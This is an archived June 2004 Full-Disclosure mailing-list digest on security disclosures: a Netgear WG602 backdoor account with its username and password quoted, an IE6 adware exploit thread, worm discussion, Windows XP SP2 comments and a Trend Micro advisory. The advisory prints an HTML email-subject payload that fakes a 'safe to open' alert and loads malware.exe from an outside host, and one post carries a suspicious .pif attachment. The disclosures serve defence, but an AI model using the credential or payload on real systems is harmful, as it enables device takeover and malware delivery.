In-Reply-To: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
Message-ID: <1086550920.40c373882ec34@webmail.futures-inc.com>

Folks;
  I found a new firware update on the Netgear product support page that removes this
account, along with a couple of other fixes. 
  I upgraded, and the login is no longer available. Good, quick response.....


Quoting Tom Knienieder <knienieder at khamsin.ch>:

> 
> 
> KHAMSIN Security News
> KSN Reference: 2004-06-03 0001 TIP
> ---------------------------------------------------------------------------
> 
> Title
> -----
>         The Netgear WG602 Accesspoint contains an undocumented
>         administrative account.
> 
> Date
> ----
>         2004-06-03
> 
> 
> Description
> -----------
> 
> The webinterface which is reachable from both interfaces (LAN/WLAN)
> contains an undocumented administrative account which cannot be disabled.
> 
> Any user logging in with the username "super" and the password "5777364"
> is in complete control of the device.
> 
> This vulnerability can be exploited by any person which is able to reach
> the webinterface of the device with a webbrowser.
> 
> A search on Google revealed that "5777364" is actually the phonenumber
> of z-com Taiwan which develops and offers WLAN equipment for its OEM
> customers.
> 
> Currently it is unknown whether other Vendors are shipping products
> based on z-com OEM designs.
> 
> 
   <<snip>>

-- 
Rip Toren
Senior Information Assurance Engineer
Futures Inc.
phone: 410-340-4033
email: rtoren at futures-inc.com
website:  http://www.futures-inc.com
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
This email is for the intended recipient only.  If you have received
this email and you are not the intended recipient, please contact the
originating party and delete the email message.  Thank you.  Futures Inc.
--------------------------------------------------------------------------


-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/



From jkuperus at planet.nl  Mon Jun  7 02:21:52 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 07 Jun 2004 03:21:52 +0200
Subject: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the
 180 Solutions Trojan)
Message-ID: <000001c44c2d$d33df9b0$3200000a@alex>

Just when I though it was save to once?more?use internet explorer I received
an?email bringing my attention to this webpage
http://216.130.188.219/ei2/installer.htm ? that according to him used an
exploit that affected fully patched internet explorer 6 browsers. Being
rather skeptical I carelessly clicked on the link only to witness how it
automatically installed addware on my pc!!!
?
Now there had been reports about 0day exploits making rounds for quite some
time like for instance this post
?
http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 
?
However I hadn't seen any evidence to support this up until now
Thor Larholm as usual added to the confusion by deliberately spreading
disinformation as seen in this post
?
http://seclists.org/lists/bugtraq/2004/May/0153.html
?
Attributing it to and I quote "just one of the remaining IE vulnerabilities
that are not yet patched"

I?ve attempted to write up an analysis that will show that there are at
least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
wrong) out there in the wild, one being fairly sophisticated 

You can view it at:

http://62.131.86.111/analysis.htm

Additionally you can view a harmless demonstration of the vulnerabilities at

http://62.131.86.111/security/idiots/repro/installer.htm

Finally I also attached the source files to this message
-------------- next part --------------
A non-text attachment was scrubbed...
Name: exploit.zip
Type: application/octet-stream
Size: 1686 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/6f508997/attachment.obj 

From chris at compucounts.com  Mon Jun  7 03:06:01 2004
From: chris at compucounts.com (Chris Carlson)
Date: Sun, 6 Jun 2004 22:06:01 -0400
Subject: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <A16F9DC0E61ACF43AF708AC2D3BE2B060412A3@gracey.internal.compucounts.com>

When run remotely:

Line: 1
Char: 1
Error: Access is denied.
Code: 0
URL: http://62.131.86.111/security/idiots/repro/installer.htm

When run locally, software installation is blocked. 

Using IE 6.0.2900.2096 SP2, WinXP SP2

I've gotta say that SP2 has some VERY nice protection builtin.  On the downside, I still havn't figured out how to turn it off ;)

> -----Original Message-----
> From: full-disclosure-admin at lists.netsys.com 
> [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Jelmer
> Sent: Sunday, June 06, 2004 21:22
> To: bugtraq at securityfocus.com
> Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
> Subject: [Full-Disclosure] Internet explorer 6 execution of 
> arbitrary code (An analysis of the 180 Solutions Trojan)
> 
> Just when I though it was save to once?more?use internet 
> explorer I received an?email bringing my attention to this 
> webpage http://216.130.188.219/ei2/installer.htm ? that 
> according to him used an exploit that affected fully patched 
> internet explorer 6 browsers. Being rather skeptical I 
> carelessly clicked on the link only to witness how it 
> automatically installed addware on my pc!!!
> ?
> Now there had been reports about 0day exploits making rounds 
> for quite some time like for instance this post
> ?
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 
> ?
> However I hadn't seen any evidence to support this up until 
> now Thor Larholm as usual added to the confusion by 
> deliberately spreading disinformation as seen in this post
> ?
> http://seclists.org/lists/bugtraq/2004/May/0153.html
> ?
> Attributing it to and I quote "just one of the remaining IE 
> vulnerabilities that are not yet patched"
> 
> I've attempted to write up an analysis that will show that 
> there are at least 2 new and AFAIK unpublished 
> vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 
> 
> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the 
> vulnerabilities at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message
> 
> 



From jkuperus at planet.nl  Mon Jun  7 03:17:28 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 07 Jun 2004 04:17:28 +0200
Subject: [Full-Disclosure] Internet explorer 6 execution of arbitrary code
 (An analysis of the 180 Solutions Trojan)
In-Reply-To: 
 <A16F9DC0E61ACF43AF708AC2D3BE2B060412A3@gracey.internal.compucounts.com>
Message-ID: <000001c44c35$98334110$3200000a@alex>

I haven't installed SP2 yet since I heard a lot of complaints from people
who claimed it caused instability, it had memory management issues, some
drivers didn't work, security measures a bit too much in your face etc

But I reviewed the list of changes sometime back and I concur, it looks very
promising, I think in the near future an IE exploit will be a rare
occurrence as opposed to a bi weekly event

-----Original Message-----
From: Chris Carlson [mailto:chris at compucounts.com] 
Sent: maandag 7 juni 2004 4:06
To: Jelmer
Cc: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com
Subject: RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary
code (An analysis of the 180 Solutions Trojan)

When run remotely:

Line: 1
Char: 1
Error: Access is denied.
Code: 0
URL: http://62.131.86.111/security/idiots/repro/installer.htm

When run locally, software installation is blocked. 

Using IE 6.0.2900.2096 SP2, WinXP SP2

I've gotta say that SP2 has some VERY nice protection builtin.  On the
downside, I still havn't figured out how to turn it off ;)

> -----Original Message-----
> From: full-disclosure-admin at lists.netsys.com 
> [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Jelmer
> Sent: Sunday, June 06, 2004 21:22
> To: bugtraq at securityfocus.com
> Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
> Subject: [Full-Disclosure] Internet explorer 6 execution of 
> arbitrary code (An analysis of the 180 Solutions Trojan)
> 
> Just when I though it was save to once?more?use internet 
> explorer I received an?email bringing my attention to this 
> webpage http://216.130.188.219/ei2/installer.htm ? that 
> according to him used an exploit that affected fully patched 
> internet explorer 6 browsers. Being rather skeptical I 
> carelessly clicked on the link only to witness how it 
> automatically installed addware on my pc!!!
> ?
> Now there had been reports about 0day exploits making rounds 
> for quite some time like for instance this post
> ?
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 
> ?
> However I hadn't seen any evidence to support this up until 
> now Thor Larholm as usual added to the confusion by 
> deliberately spreading disinformation as seen in this post
> ?
> http://seclists.org/lists/bugtraq/2004/May/0153.html
> ?
> Attributing it to and I quote "just one of the remaining IE 
> vulnerabilities that are not yet patched"
> 
> I've attempted to write up an analysis that will show that 
> there are at least 2 new and AFAIK unpublished 
> vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 
> 
> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the 
> vulnerabilities at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message
> 
> 




From larry at larryseltzer.com  Mon Jun  7 03:42:51 2004
From: larry at larryseltzer.com (Larry Seltzer)
Date: Sun, 6 Jun 2004 22:42:51 -0400
Subject: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <000001c44c2d$d33df9b0$3200000a@alex>
Message-ID: <200406070243.i572hHv20372@netsys.com>

>>Finally I also attached the source files to this message

My McAfee-based gateway scanner blocks the attachment and labels it as "VBS/Psyme",
which has this description
(http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100749): 

"This trojan exploits an unpatched (at the time of this writing) vulnerability in
Internet Explorer.  The vulnerability allows for the writing, and overwriting, of local
files by exploiting the ADODB.Stream object.  There are several variants of this trojan.
Therefore this description is design to give an overview of how the trojan works.

The trojan exists as VBScript.  This script contains instructions to download a remote
executable, save it to a specified location on the local disk, and then execute it."

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 



From PerrymonJ at bek.com  Mon Jun  7 04:35:46 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Sun, 6 Jun 2004 22:35:46 -0500 
Subject: [Full-Disclosure] another new worm submission
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A023532B1@is6b>

I agree.

Anyone that would have those ports open has a *lot more to worry about that
cleaning a few worm infections.
That's not the case here. This infection was caused by a remote user not a
Lan user.
With several hundred laptops it's hard have 0 exposure. As with any growing
security 
practice and today's decreased budgets areas of focus are determined on risk
exposure.

Anywho-
I found the Trojan to be backdoor.nibu.g- although Symantec AV didn't pick
it up until tonight.

I think this is a good example that perimeter security is only part of the
battle. 
Tomorrow's morning meeting will stress the importance of desktop firewalls
again and a good patch management process.
You can talk until your blue in the face to upper management but I find 90%
to be reactive.

Oh well-

JP





-----Original Message-----
From: Ron DuFresne [mailto:dufresne at winternet.com]
Sent: Saturday, June 05, 2004 5:38 PM
To: Jerry Heidtke
Cc: Paul Schmehl; full-disclosure at netsys.com
Subject: Re: [Full-Disclosure] another new worm submission



	[SNIP]

> >>
> >> How are these system getting compromised? Why don't you have this patch
> >> deployed yet? Why are these systems reachable from the Internet over
> >> port
> >> 445?
> >>
> > For someone who knows nothing about his network, you sure are willing
> > to make a lot of assumptions. You admit you don't know how the systems
> > were compromised and you don't know what compromised them, yet you
> > castigate him for leaving port 445 open and not patching and you
> > assume this happened *remotely*?
> >>


	[SNIP]

> You're right, I made an assumption that the systems were being
> compromised remotely rather than being deliberately and maliciously
> hacked by insiders. Would this somehow be less of a problem? Having
> systems with routable addresses reachable through port 445 is the most
> likely avenue of compromise, if this is not the case then Josh would be
> well advised to determine exactly what is going on with his network.
>

Agreed here, anyone sitting with exposed windows specific ports on the
insecure Internet <e.g. 445, 135-139, udp as well as tcp, etc> is pretty
much deserving of what hits them these days.  Without tackling that
side of the coin, it's going to be pretty hard for these folks to
determine if the troubles they are facing is internal or not.
Without control of the perimiter choke point, how can one even
think to start to look at controls of the whole danged wire inside?
Perhaps we need to adapt  personal firewall day to a monthly thing for
the next 5 years or more to help these clueless souls.

	[SNIP]

Thanks,

Ron DuFresne
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
	***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From jkuperus at planet.nl  Mon Jun  7 04:51:13 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 07 Jun 2004 05:51:13 +0200
Subject: [Full-Disclosure] Internet explorer 6 execution of arbitrary code
 (An analysis of the 180 Solutions Trojan)
In-Reply-To: <200406070243.i572hHv20372@netsys.com>
Message-ID: <000001c44c42$b0da5e30$3200000a@alex>

Most recent exploits are like vehicles, they are assembled piece by piece,
you can make a virus scanner detect the wheels, but a car, a bus and a bike
are most certainly entirely different things! Yet none of them are any good
without wheels, oh and in this case painting the wheel another color would
circumvent detection, it's just that trivial, virus scanners are pretty
useless against these type of attacks


>From the psysm description:

"The vulnerability allows for the writing, and overwriting, of local files
by exploiting the ADODB.Stream object"

As I wrote in the analysis, this exploit uses both known and unknown
vulnerabilities. What is detected as psysm (the wheels) is what I described
in this post

http://seclists.org/lists/fulldisclosure/2003/Aug/1703.html

And is used in this exploit as well
However this flaw that has gone unpatched for many many months, only works
when run from a file on the local hard drive!, so essentially it's a useless
find unless you can complement it with one or more other vulnerabilities

Over the past couple of months it's been combined with many an exploit

I used it in combination with one of liu's finds
http://lists.netsys.com/pipermail/full-disclosure/2003-September/009992.html

Andreas sandblad used it:
http://www.forbiddenweb.org/viewtopic.php?t=5242&view=previous

Mindwarper used it:
http://www.securityfocus.com/archive/1/342471

Some unknown person used it in the wild and wrote a worm, http-equiv did a
writeup on it
http://seclists.org/lists/fulldisclosure/2004/Mar/1404.html

many many more people used it

But it are all separate exploits and none of the formentioned ones work
anymore they have been patched and dealt with, well except on thor's pc
naturally ;) but thor deserves only mockery





-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Larry Seltzer
Sent: maandag 7 juni 2004 4:43
To: 'Jelmer'; bugtraq at securityfocus.com
Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
Subject: RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary
code (An analysis of the 180 Solutions Trojan)

>>Finally I also attached the source files to this message

My McAfee-based gateway scanner blocks the attachment and labels it as
"VBS/Psyme",
which has this description
(http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100749): 

"This trojan exploits an unpatched (at the time of this writing)
vulnerability in
Internet Explorer.  The vulnerability allows for the writing, and
overwriting, of local
files by exploiting the ADODB.Stream object.  There are several variants of
this trojan.
Therefore this description is design to give an overview of how the trojan
works.

The trojan exists as VBScript.  This script contains instructions to
download a remote
executable, save it to a specified location on the local disk, and then
execute it."

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From chris at compucounts.com  Mon Jun  7 05:11:22 2004
From: chris at compucounts.com (Chris Carlson)
Date: Mon, 7 Jun 2004 00:11:22 -0400
Subject: [Full-Disclosure] WinXP SP2 comments  (was: Internet explorer 6 execution of arbitrary code)
Message-ID: <A16F9DC0E61ACF43AF708AC2D3BE2B060412A4@gracey.internal.compucounts.com>

No complaints from me.

While the new "security center" complains about how I don't have a firewall or antivirus installed (it doesn't detect either), the better security more than makes up for this minor annoyance - I no longer need to worry about where I go because the simple yet absolute 'no popups' and 'no software installations' security settings lock IE down so well.

A note about the security center- I *think* it can be disabled by editing the %systemroot%\inf\sysoc.inf file to show the entry for it in add/remove windows components.  I've tried to do this, but it either does not have immediate results, or does not work.  I havn't done any real research on it because of a lack of time (or perhaps patience), but would like to know how to get rid of this if anyone knows.

I think VirtualPC and SP2 have problems coexisting, since VirtualPC has never worked properly for me (host BSOD when starting a VM or VM BSOD while installing; comments?), but that aside I've seen no apparent problems- instability, memory management or otherwise.  

After attempting to uninstall SP2 (beta, not RC1 - all other comments are regarding RC1), many windows components claimed I was still running SP2, while others claimed SP1.  I think this may have caused some problems when attempting to install a second (very old) video adapter (BSOD, lockups, etc), but there's no way to be sure of it.  It appears to just be a quark in the installer.

/c

> -----Original Message-----
> From: Jelmer [mailto:jkuperus at planet.nl] 
> Sent: Sunday, June 06, 2004 22:17
> To: Chris Carlson
> Cc: full-disclosure at lists.netsys.com
> Subject: RE: [Full-Disclosure] Internet explorer 6 execution 
> of arbitrary code (An analysis of the 180 Solutions Trojan)
> 
> I haven't installed SP2 yet since I heard a lot of complaints 
> from people who claimed it caused instability, it had memory 
> management issues, some drivers didn't work, security 
> measures a bit too much in your face etc
> 
> But I reviewed the list of changes sometime back and I 
> concur, it looks very promising, I think in the near future 
> an IE exploit will be a rare occurrence as opposed to a bi 
> weekly event
> 
> -----Original Message-----
> From: Chris Carlson [mailto:chris at compucounts.com]
> Sent: maandag 7 juni 2004 4:06
> To: Jelmer
> Cc: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com
> Subject: RE: [Full-Disclosure] Internet explorer 6 execution 
> of arbitrary code (An analysis of the 180 Solutions Trojan)
> 
> When run remotely:
> 
> Line: 1
> Char: 1
> Error: Access is denied.
> Code: 0
> URL: http://62.131.86.111/security/idiots/repro/installer.htm
> 
> When run locally, software installation is blocked. 
> 
> Using IE 6.0.2900.2096 SP2, WinXP SP2
> 
> I've gotta say that SP2 has some VERY nice protection 
> builtin.  On the downside, I still havn't figured out how to 
> turn it off ;)
> 
> > -----Original Message-----
> > From: full-disclosure-admin at lists.netsys.com
> > [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Jelmer
> > Sent: Sunday, June 06, 2004 21:22
> > To: bugtraq at securityfocus.com
> > Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
> > Subject: [Full-Disclosure] Internet explorer 6 execution of 
> arbitrary 
> > code (An analysis of the 180 Solutions Trojan)
> > 
> > Just when I though it was save to once?more?use internet explorer I 
> > received an?email bringing my attention to this webpage 
> > http://216.130.188.219/ei2/installer.htm ? that according 
> to him used 
> > an exploit that affected fully patched internet explorer 6 
> browsers. 
> > Being rather skeptical I carelessly clicked on the link only to 
> > witness how it automatically installed addware on my pc!!!
> > ?
> > Now there had been reports about 0day exploits making 
> rounds for quite 
> > some time like for instance this post
> > ?
> > 
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0
> > ?
> > However I hadn't seen any evidence to support this up until 
> now Thor 
> > Larholm as usual added to the confusion by deliberately spreading 
> > disinformation as seen in this post
> > ?
> > http://seclists.org/lists/bugtraq/2004/May/0153.html
> > ?
> > Attributing it to and I quote "just one of the remaining IE 
> > vulnerabilities that are not yet patched"
> > 
> > I've attempted to write up an analysis that will show that 
> there are 
> > at least 2 new and AFAIK unpublished vulnerabilities (feel free to 
> > proof me
> > wrong) out there in the wild, one being fairly sophisticated
> > 
> > You can view it at:
> > 
> > http://62.131.86.111/analysis.htm
> > 
> > Additionally you can view a harmless demonstration of the 
> > vulnerabilities at
> > 
> > http://62.131.86.111/security/idiots/repro/installer.htm
> > 
> > Finally I also attached the source files to this message
> > 
> > 
> 
> 
> 
> 



From raju at linux-delhi.org  Mon Jun  7 05:24:30 2004
From: raju at linux-delhi.org (raju at linux-delhi.org)
Date: Mon, 7 Jun 2004 09:54:30 +0530
Subject: [Full-Disclosure] Re: Word file
Message-ID: <200406070417.i574H1v18081@netsys.com>

Here is the file.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: document_word.pif
Type: application/octet-stream
Size: 17920 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/318b186a/attachment.obj 

From debian-security-announce at lists.debian.org  Mon Jun  7 05:35:26 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Mon, 7 Jun 2004 06:35:26 +0200 (CEST)
Subject: [Full-Disclosure] [SECURITY] [DSA 516-1] New odbc-postgresql packages fix denial of service
Message-ID: <m1BXBr4-000of4C@finlandia.Infodrom.North.DE>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/e0c028d7/attachment.ksh 

From poof at fansubber.com  Mon Jun  7 06:11:37 2004
From: poof at fansubber.com (Poof)
Date: Mon, 7 Jun 2004 01:11:37 -0400
Subject: [Full-Disclosure] WinXP SP2 comments  (was: Internet explorer 6 execution of arbitrary code)
In-Reply-To: <A16F9DC0E61ACF43AF708AC2D3BE2B060412A4@gracey.internal.compucounts.com>
Message-ID: <200406070511.i575Blv03328@netsys.com>

> While the new "security center" complains about how I don't have a
> firewall or antivirus installed (it doesn't detect either), the better
> security more than makes up for this minor annoyance - I no longer need to
> worry about where I go because the simple yet absolute 'no popups' and 'no
> software installations' security settings lock IE down so well.

Well, the "Security Center" will only detect your firewall/antivirus if the
program tells Windows that it's protecting your computer. (New API Microsoft
did... Many companies are using it now.)

> A note about the security center- I *think* it can be disabled by editing
> the %systemroot%\inf\sysoc.inf file to show the entry for it in add/remove
> windows components.  I've tried to do this, but it either does not have
> immediate results, or does not work.  I havn't done any real research on
> it because of a lack of time (or perhaps patience), but would like to know
> how to get rid of this if anyone knows.

Well, all you have to do to disable it... Is disable the "Security Center"
service in the services.msc! Gasp! Easy. =)

BTW. Uninstalling a service pack isn't 100% supported. It's recommended to
wipe and reinstall.

~
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 2813 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/e38e6692/attachment.bin 

From scottp at dreamwright.com  Mon Jun  7 07:39:16 2004
From: scottp at dreamwright.com (Scott Phelps)
Date: Mon, 7 Jun 2004 02:39:16 -0400
Subject: [Full-Disclosure] WinXP SP2 comments  (was: Internet explorer 6 execution of arbitrary code)
In-Reply-To: <200406070511.i575Blv03328@netsys.com>
Message-ID: <20040607063923.XSAW6802.imf19aec.mail.bellsouth.net@maudib>

 

I would really watch out if trying an uninstall of SP2.

My understanding is that the size of it (something like 270 M) is because
you get a lot of recompiled binaries adding buffer overflow protection. It
wouldn't surprise me if a few things are left behind after an uninstall.


Scott P

"They that can give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety"
Benjamin Franklin, 1759


-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Poof
Sent: Monday, June 07, 2004 1:12 AM
To: 'Chris Carlson'; 'Jelmer'
Cc: full-disclosure at lists.netsys.com
Subject: RE: [Full-Disclosure] WinXP SP2 comments (was: Internet explorer 6
execution of arbitrary code)

> While the new "security center" complains about how I don't have a
> firewall or antivirus installed (it doesn't detect either), the better
> security more than makes up for this minor annoyance - I no longer need to
> worry about where I go because the simple yet absolute 'no popups' and 'no
> software installations' security settings lock IE down so well.

Well, the "Security Center" will only detect your firewall/antivirus if the
program tells Windows that it's protecting your computer. (New API Microsoft
did... Many companies are using it now.)

> A note about the security center- I *think* it can be disabled by editing
> the %systemroot%\inf\sysoc.inf file to show the entry for it in add/remove
> windows components.  I've tried to do this, but it either does not have
> immediate results, or does not work.  I havn't done any real research on
> it because of a lack of time (or perhaps patience), but would like to know
> how to get rid of this if anyone knows.

Well, all you have to do to disable it... Is disable the "Security Center"
service in the services.msc! Gasp! Easy. =)

BTW. Uninstalling a service pack isn't 100% supported. It's recommended to
wipe and reinstall.

~



From adam at nhh.hu  Mon Jun  7 07:39:34 2004
From: adam at nhh.hu (Szilveszter Adam)
Date: Mon, 07 Jun 2004 08:39:34 +0200
Subject: [Full-Disclosure] weather.com contact
In-Reply-To: <20040605112540.H75779@dekadens.coredump.cx>
References: <000901c44a9c$f6eb8400$547abe18@proclaimed> <20040605112540.H75779@dekadens.coredump.cx>
Message-ID: <04Jun7.084025cest.118585@fd.hif.hu>

Michal Zalewski wrote:

> On Fri, 4 Jun 2004 fd at proclaimed.net wrote:
> 
> 
>>Anyone know anyone at weather.com?
> 
> 
> No, but I must share that I am perhaps for the first time on this list
> truly scared of what you might have discovered.
> 
> A weather control exploit?

No, I was first to discover this, but problem is I can only manage to 
crash the control yet, no remote code execution, and every crash causes 
miserable weather for 7 days in a row in the affected area so I cannot 
afford to experiment much, ppl are already threatening to linch me for 
blowing the summer :-)

Regards:
Sz.



From yehudi at tehila.gov.il  Mon Jun  7 07:56:20 2004
From: yehudi at tehila.gov.il (Yaakov Yehudi)
Date: Mon, 7 Jun 2004 09:56:20 +0300
Subject: [Full-Disclosure] WinXP SP2 comments  (was: Internet explorer 6 execution of arbitrary code)
In-Reply-To: <200406070511.i575Blv03328@netsys.com>
Message-ID: <000b01c44c5c$8a0c4a60$dc09050a@tehila.gov.il>

>BTW. Uninstalling a service pack isn't 100% supported. It's recommended to
wipe and reinstall.

Where does that statement come from?  Microsoft?  I'd be interested to see
any references you might be able to provide.

Thanks!



From nils at druecke.strg-alt-entf.org  Mon Jun  7 12:40:00 2004
From: nils at druecke.strg-alt-entf.org (Nils Ketelsen)
Date: Mon, 7 Jun 2004 07:40:00 -0400
Subject: [Full-Disclosure] WinXP SP2 comments  (was: Internet explorer 6 execution of arbitrary code)
In-Reply-To: <200406070511.i575Blv03328@netsys.com>
References: <A16F9DC0E61ACF43AF708AC2D3BE2B060412A4@gracey.internal.compucounts.com> <200406070511.i575Blv03328@netsys.com>
Message-ID: <20040607114000.GA14622@bug>

On Mon, Jun 07, 2004 at 01:11:37AM -0400, Poof wrote:

> Well, the "Security Center" will only detect your firewall/antivirus if the
> program tells Windows that it's protecting your computer. (New API Microsoft
> did... Many companies are using it now.)

Ohh, then I can just write a program doing nothing but telling windows it
protects it to make this warning go away? Cool. There will be many of these
out there when SP2 goes around. Maybe at $5 or so. Snakeoil at its best.
And even proves protection by making the windows warning go away.


Nils
-- 
Well... It all started with a typo in a safe sex pamphlet. By the time
I discovered I didn't really have to use a condor every time, I'd kind
of gotten used to them.
             [bsvitavsky at mln.lib.ma.us in rec.arts.comics.dc.universe]



From christoph.gruber at wave-solutions.com  Mon Jun  7 13:06:21 2004
From: christoph.gruber at wave-solutions.com (Christoph Gruber)
Date: Mon, 7 Jun 2004 14:06:21 +0200
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>
Message-ID: <OF9E2E1B67.E5A77F18-ONC1256EAC.00422446-C1256EAC.00427E2E@wave-solutions.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Josh wrote 04.06.2004 21:11:26:

> http://www.detroit-x.com/analysis.htm
> 
> This is something we found this morning. I have packet captures
> that I will post.
> I have attached the infected files found with FPORT and also
> registry entries.
> 
> We found this rebooting machines with the LSASS.exe error similar
> to Sasser. As of 6/4/2004 we found no virus defs to pick it up.
> 
> 
> Joshua Perrymon
> Sr. Network Security Consultant

Hi there!

There is another Registry-entry:


Cheers!

- -- 
Christoph Gruber, Senior Security Architect
WAVE Solutions Information Technology GmbH 
Nordbergstrasse 13, A - 1090 Wien, Austria
christoph.gruber at wave-solutions.com
Office: +43 1 71730 53514, Mobile: +43 664 81 22 66 1
PGP-Fingerprint: CCFF 5D66 7073 952C 7AB3  C2DF 435A C85C 558E D42B


-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQMRaFkNayFxVjtQrEQKmYwCg4ufJbS1o/5/C73FUSzBQ+D77OXsAoMLD
82mFBEHVI5D0bGtwTIoLQx9G
=SKaL
-----END PGP SIGNATURE-----
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/933b50d4/attachment.html 

From 1 at malware.com  Mon Jun  7 15:31:01 2004
From: 1 at malware.com (http-equiv@excite.com)
Date: Mon, 7 Jun 2004 14:31:01 -0000
Subject: [Full-Disclosure] TREND MICRO: The Protector Becomes The Vector Take II
Message-ID: <200406071431.i57EV1Vb015632@web121.megawebservers.com>


Monday, June 07, 2004

 
<!-- 

1. When the product alerts it creates an html file in the 
temporary file of the user's machine [the so-called "local zone"]

[screen shot: http://www.malware.com/weallcar.png 29KB ]

This html file is viewed from an Internet Explorer "browser  
object" and
indicates what file is problematic.

-->

Further to the examination of this: 

[see: http://securityfocus.com/archive/1/365050/2004-05-28/2004-
06-03/0 ]

It may very well be that alert file while in the temporary 
folder does not in fact run under the so-called "My Computer" 
zone. Previous testing required irritatingly precise manual 
construction of the .zip file with test string therein by the 
counting off the amount of desired html characters to test 
against the name of the file in the .zip and manually modifying 
it accordingly.

While the overall html concept and problem is sound as 
demonstrated, we today find a much easier and default and 
perhaps even worse problem than before.

Incoming Email:

The gadget has a scanning mechanism for incoming email messages 
utilising the exact same alert scheme. In this instance 
everything is set on default and we need not enclose our "bait" 
in a container and fiddle for hours with its name.  We have a 
subject and a sender field. In this case we do like so:

Your Safe File<div 
style="position:absolute;top:25;left:10;height:300pt;width:300pt;
z-index:+100;font-family:Verdana;font-weight: bold;font-size: 
12pt;font-color:green">Trend Micro Internet Security confirms 
this file <br>malware.exe is safe to open. Proceed.</div><iframe 
src="http://www.malware.com/malware.exe">

[screen shot: http://www.malware.com/micronot.png 33KB]

Which should be self-explanatory of only one possibility.

Notes:

1. Using this easier delivery and testing method <object> tag in 
the subject generates an activex warning plus <script>alert()
</script> fails; very strongly suggesting that despite the html 
file being in the local zone, the developers had the foresight 
to have their little Internet Explorer control set at the high 
setting regardless of zoning [might be other reasons including 
these being email vs. web]. Nevertheless:

2. The whole thing is still broken though as frames and images 
render as they should. This completely defeats the security of 
Outlook Express and Outlook which disallow  file downloads, 
external content downloading etc. which this allows on arrival
of the email [not even opening it].

3. Cramming everything into the subject field and modifying 
warning messages as above, all while on default settings can 
prove just as lucrative.

4. There is always away around the mighty Internet Explorer's so-
called 'Security Zone's if not today, then tomorrow.

5. This html 'thing' in the alert mechanism really ought to be 
fixed as soon as possible.


End Call


 

-- 
http://www.malware.com








From dchontzo at abc.gr  Mon Jun  7 14:38:44 2004
From: dchontzo at abc.gr (Chontzopoulos Dimitris)
